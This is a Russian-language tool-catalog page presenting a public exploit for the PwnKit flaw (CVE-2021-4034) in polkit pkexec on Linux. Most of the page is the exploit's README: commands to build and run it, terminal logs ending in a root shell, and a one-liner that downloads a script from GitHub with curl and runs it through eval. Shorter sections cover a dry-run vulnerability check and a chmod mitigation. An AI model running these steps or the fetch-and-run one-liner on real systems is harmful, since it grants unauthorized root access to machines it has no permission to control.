Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-4034 — Эксплойт для CVE-2021-4034 (PwnKit), нацеленный на polkit pkexec для получения локального повышения привилегий до root в Linux-системах. Включает режим пробного запуска для проверки уязвимости. | Kitploit
Инструменты/GitHubGitHub/pol-ruiz/cve-2021-4034
Повышение привилегийАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеRed TeamingЭксплуатация Бинарных Файлов
GitHubpol-ruiz/cve-2021-4034

CVE-2021-4034

Эксплойт для CVE-2021-4034 (PwnKit), нацеленный на polkit pkexec для получения локального повышения привилегий до root в Linux-системах. Включает режим пробного запуска для проверки уязвимости.

Репозиторий
22 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-4034

Эксплойт для повышения привилегий polkit за один день

Просто выполните make, ./cve-2021-4034 и наслаждайтесь root-оболочкой.

Оригинальный advisory от настоящих авторов находится здесь

PoC

Если эксплойт сработает, вы сразу получите root-оболочку:

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit

Обновление polkit на большинстве систем закрывает эту уязвимость, поэтому вы увидите справку, и программа завершится:

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$

Пробный запуск

Чтобы не запускать оболочку, а просто проверить, уязвима ли система, соберите цель dry-run.

Если программа завершится, выведя «root», это означает, что ваша система уязвима к эксплойту.

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1

Если ваша система не уязвима, программа выведет ошибку и завершится.

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0

О Polkit pkexec для Linux

Polkit (ранее PolicyKit) — компонент для управления общесистемными привилегиями в Unix-подобных операционных системах. Он предоставляет организованный способ взаимодействия непривилегированных процессов с привилегированными. Также с помощью polkit можно выполнять команды с повышенными привилегиями, используя команду pkexec с последующей командой, которую нужно выполнить (с правами root).

Однострочные команды

Вы можете легко эксплуатировать систему с помощью одного скрипта, который можно скачать и выполнить этой командой:

root@kitploit:~
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root

Меры по смягчению

Если для вашей операционной системы нет исправлений, в качестве временной меры можно снять SUID-бит с pkexec.

root@kitploit:~
# chmod 0755 /usr/bin/pkexec

После этого эксплойт завершится с ошибкой о том, что у pkexec должен быть установлен setuid-бит.

root@kitploit:~
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root
Скачать инструмент